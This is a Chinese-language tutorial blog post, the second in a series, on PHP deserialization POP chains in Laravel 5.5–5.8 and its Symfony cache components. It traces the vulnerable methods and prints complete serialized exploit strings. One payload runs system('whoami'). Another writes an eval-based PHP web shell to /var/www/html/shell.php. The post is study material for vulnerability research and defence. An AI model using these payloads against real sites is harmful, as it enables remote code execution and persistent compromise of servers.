0x00 前言
这是学习Laravel框架中存在的反序列化漏洞的第2篇文章。
0x01 POP链 4
这条链适用的Laravel最低版本是5.5.39,但是在5.8.*上依然使用。
入口类:Illuminate\Broadcasting\PendingBroadcast
出口类:Illuminate\Validation\Validator
这一条POP链的入口方法还是Illuminate\Broadcasting\PendingBroadcast类的__destruct()方法。
1 |
|
上一篇文章中的POP链 1利用的是魔术方法__call,当在对象中调用一个不可访问或者不存在的方法时,该魔术方法就会被调用。
在类Illuminate\Validation\Validator中存在__call函数:
1 |
|
已经知道的是,__call()函数中第一个参数$method表示的是触发该__call()魔术方法的函数名,那么这个值就是dispatch,我们令$this->events为类Illuminate\Validation\Validator的一个实例化对象。而且这里需要注意的一个点是,dispatch函数的名的长度是7个字符,但是这里用substr($method,8);从第8个位置开始从该字符串中取出字符串,所以取出的值就是一个长度为0的空字符串,也就说$rule其实是''。$paramter是一个数组,是传入该函数的参数,它对应的就是$this->event,也就是传入dispatch的参数。
跟进$this->callExtension(),看到了目标call_user_func_array:
1 | protected function callExtension($rule, $parameters) |
这里$callback来自$this->extension[$rule],而$this->extension是用户可控的一个数组。$rule来自__call魔术方法的参数$method,经过Str::snake(substr($method, 8));处理后得到。所以要执行系统命令,可以令$callback为system,然后$parameter为whoami,而$parameter其实就是$this->event。
跟进Str::snake方法:
1 | public static function snake($value, $delimiter = '_') |
这个函数有点复杂,乍一看,我确实是分析不来。但是根据前面的分析,$rule对应的应该是'',那么$this->extensions就应该是array('' => 'system');,得出exp:
1 |
|
给保护字段添加%00得到:
1 | O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:8:"%00*%00event";s:6:"whoami";s:9:"%00*%00events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}} |

调试跟踪下,确实证实了猜想,$rule是''。

写shell
这里写shell和第一篇文章中的POP链 1一样,需要借助类PhpOption\LazyOption写入shell。
poc:
1 |
|
exp:
1 | O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00event%22%3Bi%3A1%3Bs%3A9%3A%22%00%2A%00events%22%3BO%3A31%3A%22Illuminate%5CValidation%5CValidator%22%3A1%3A%7Bs%3A10%3A%22extensions%22%3Ba%3A1%3A%7Bs%3A0%3A%22%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A20%3A%22PhpOption%5CLazyOption%22%3A3%3A%7Bs%3A30%3A%22%00PhpOption%5CLazyOption%00callback%22%3Bs%3A17%3A%22file_put_contents%22%3Bs%3A31%3A%22%00PhpOption%5CLazyOption%00arguments%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A23%3A%22%2Fvar%2Fwww%2Fhtml%2Fshell.php%22%3Bi%3A1%3Bs%3A22%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%22%3B%7Ds%3A28%3A%22%00PhpOption%5CLazyOption%00option%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22filter%22%3B%7D%7D%7D%7D |
0x02 POP链 5
入口类:Symfony\Component\Cache\Adapter\TagAwareAdapter
出口类:Symfony\Component\Cache\Adapter\ProxyAdapter
这条POP链是由Laravel的Symfony组件的TagAwareAdapter类触发的。我们初始安装的Laravel 5.8.*框架并不包含该组件。修改composer.json文件,在require下添加:
1 | "symfony/symfony": "4.*" |
然后执行更新:
1 | composer update |
POP链的入口在TagAwareAdapter类的__destruct方法,该方法会调用commit():

commit()方法会调用invalidateTags(),继续跟进:

在第124行,用一个foreach循环对$items进行遍历,而$items来自$this->deferred,所以得到第一个信息:$this->deferred是一个数组,而$this->deferred是用户可控的。然后进入if语句,调用$this->pool的saveDeferred()方法,可以得到,$this->pool是一个对象,而且$this->pool也是用户可控的。当前类中并不存在saveDeferred()方法,所以这里肯定是通过$this->pool调用别的对象里的saveDeferred()方法,注意传入的值为$item。
全局搜索下,在Symfony\Component\Cache\Adapter\ProxyAdapter类中发现了可用的方法:

在该类的saveDeferred()方法中,会将之前传入的$item参数继续传入doSave()方法中,跟入doSave:

在doSave()中发现了动态调用(第245行)。那先来分析一下是否可以利用,首先$this->setInnerItem是ProxyAdapter类的private属性成员变量,是用户可控的;而且经过前面的分析,知道$item是来自ProxyAdapter类的$this->deferred属性,也是可控的;还有一个就是$innerItem,从第234行可以看到,当满足if条件语句if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"])时,$innerItem就可以由$item["\0*\0innerItem"]得到。
这里数组key值中的\0*\0是对象强转数组得到的,表示protected成员变量,下面就是一个例子:
1 |
|
ps:注意区分(array)$book和array($book)。
1 | array (size=2) |
接着回到doSave()方法。上面的分析其实还可以得到一个很重要的信息,那就是$item其实是一个对象。在226行,判断$item是不是CacheItem的一个实例化对象:
1 | if (!$item instanceof CacheItem) { |
如果不满足,直接返回false,所以必须满足该条件。

这里需要Symfony\Component\Cache\CacheItem类的三个属性,分别为expiry,poolHash和innerItem,defaultLifetime不需要,只要null === $item["\0*\0expiry"]不满足即可。我们的目标是进入第234行的if,因为$innerItem是后面需要执行的命令的参数,所以必须对它进行一个赋值,对其进行赋值也简单,满足$item["\0*\0poolHash"] === $this->poolHash和$item["\0*\0innerItem"]不为空,前者因为Symfony\Component\Cache\AdapterProxyAdapter类的poolHash方法是可控的,所以可以实现。
现在就还有最后一个问题,因为这里的动态函数调用($this->setInnerItem)($innerItem, $item);是支持双参数的,所以我们可以选择一些双参的参数。可以用system函数来执行一些命令,这个函数也是支持双参的,第2个参数是可选的,用来保存返回的执行状态:

poc:
1 |
|
exp:
1 | O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00expiry%22%3Bi%3A1%3Bs%3A11%3A%22%00%2A%00poolHash%22%3Bi%3A1%3Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A2%3A%7Bs%3A54%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00poolHash%22%3Bi%3A1%3Bs%3A58%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3B%7D%7D |
执行效果:

调用链:
